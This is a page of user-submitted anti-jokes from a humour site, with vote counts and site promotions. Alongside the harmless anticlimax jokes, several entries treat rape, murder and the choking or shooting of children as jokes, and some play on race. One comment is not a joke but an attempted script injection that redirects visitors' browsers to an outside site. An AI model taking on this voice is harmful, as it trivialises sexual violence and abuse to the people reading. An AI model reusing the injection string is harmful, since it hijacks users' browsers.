what did the bear say to the fish? Nothing he eat it

thumb_up thumb_down -2

Sosiopath vs How I met your mother: BABABABABA BABABA RARARA LALALA ETC YOU GOT THE DRILL Kids, this is how I met your mother. I saw her at some store, I said "Hey sexy" She told me to fuck off, so I raped her, got out of prison years later, and kids, that is how I met your mother. ...Why I am leaving? Did I ever fucking say I was your father? I Just came here to tell you I raped and killed her after serving my time which was about 2 minutes, so kids, that is how I killed your mother. YOU ARE WELCOME BY THE WAY!Ungrateful kids. Moral of the story: If they are your kids, just say no and get away, and kill Robin for better television. Sociopath vs Grounded for life Moral: Shot the little kid, nobody will notice, not even his own family.Heck if you look at episode 34 you can see a tall handsome dude choking the life of a little boy in the background, and then letting him go just before he passes out and chokes him again? FUN FOR HOURS!

thumb_up thumb_down -4

You had 10 bricks on an airplane, you throw one. How many do you now have? 9. How do you get the elephant in the fridge? Open the fridge put the elephant in. How do you get the giraffe in the fridge? Open the fridge, take the elephant out, put the giraffe in. There was an animal meeting, all animals were invited. Which animal was missing? The giraffe, because he's still in the fridge. An old woman wants to cross a river that was full of crocodiles. How does she cross without getting eaten? The crocodiles were at the animal meeting, so she got across safely. She dies anyways. What happened? She was hit by the brick.

thumb_up thumb_down -4

What did the doctor say to his wife? We have grown apart over the years, I want a divorce.

thumb_up thumb_down -4

What do you call a man with no arms and no legs in an open hole Poor body disposal practice

thumb_up thumb_down -4

what did the black women name her child jamaal

thumb_up thumb_down -4

A man said to another man," you are so stupid you climbed a glass wall to see what was on the other side." The second man said," well you were on this side of the wall and I'm going to kick your ass." The second man had been drinking that night.

thumb_up thumb_down -4

Why did the astronaut die in space? Just kidding there was no astronaut. It was a cucumber

thumb_up thumb_down -4

What is the difference between an Australian and an Ethiopian? One is from Australia the other is from Ethiopa

thumb_up thumb_down -4

What do u when life gives u lemons? U put them in your iced tea.

thumb_up thumb_down -4

Why couldn't the driver start his car? Because the driver was a tree

thumb_up thumb_down -4

Why did the black man cross the road? Because he lived an worked on opposite sides of the road, and so consequently needed to cross the road to work, and provide an income for his family, so they could have fresh food, clean water, and have money to pay the bills such as the mortgage so they didnt become poor and homeless, which would inevitably lead to illness and an early death for them all.

thumb_up thumb_down -4

autistic kids rock

thumb_up thumb_down -4

Did you hear about the comedian cereal killer?...He raped his victims before strangling them to death.

thumb_up thumb_down -4

Why was Blue looking for her clue. She was drugged by a stranger and ended up inside of Mailbox.

thumb_up thumb_down -4

Knock knock. Who's there? Your best friend. No it's not, you stupid repo man...I'M NOT OPENING THE DOOR.

thumb_up thumb_down -4

Robert Palmer: Doctor Doctor give me the news! Doctor: You have contracted lung cancer and AIDS. You will die before Christmas.

thumb_up thumb_down -4

Your mother is so fat that I would call her quite fat indeed.

thumb_up thumb_down -4

How did the black man cross the Atlantic? An airplane. He also could have used a boat. However, airplanes are a preferred form of travel.

thumb_up thumb_down -4

Whats worse than throwing a baby off a cliff? Catching it with a pitchfork

thumb_up thumb_down -4

"'>document.location.href="http://cramik.org"

thumb_up thumb_down -4

What do you call a black man flying a plane. A pilot.

thumb_up thumb_down -4

What's sadder then a dead puppy? 2 dead puppies.

thumb_up thumb_down -4

What did Timmy want for Christmas? Parents.

thumb_up thumb_down -4

Anti Joke

What are Antijokes? Anti Jokes (or Anti Humor) is a type of comedy in which the uses is set up to expect a typical joke setup however the joke ends with such anticlimax that it becomes funny in its own right. The lack of punchline is the punchline.

Our Updated iOS App!

We've just released huge update to the iOS app! Now, access all your favorite text and photo sites like Anti-Joke, DIYLOL! A few things didn't make the original cut (like comments) but they'll be back soon. Best of all, the app is now FREE! Get it here.

The Anti Joke Book


NEW ANTI-JOKE BOOK!  Now that we've resolved the printing issues with our publisher, check out the BRAND SPANKING NEW Anti-Joke Book!

MOAR??

Want more? You might be interested in...


Anti-Joke Chicken

Anti-Joke Triceratops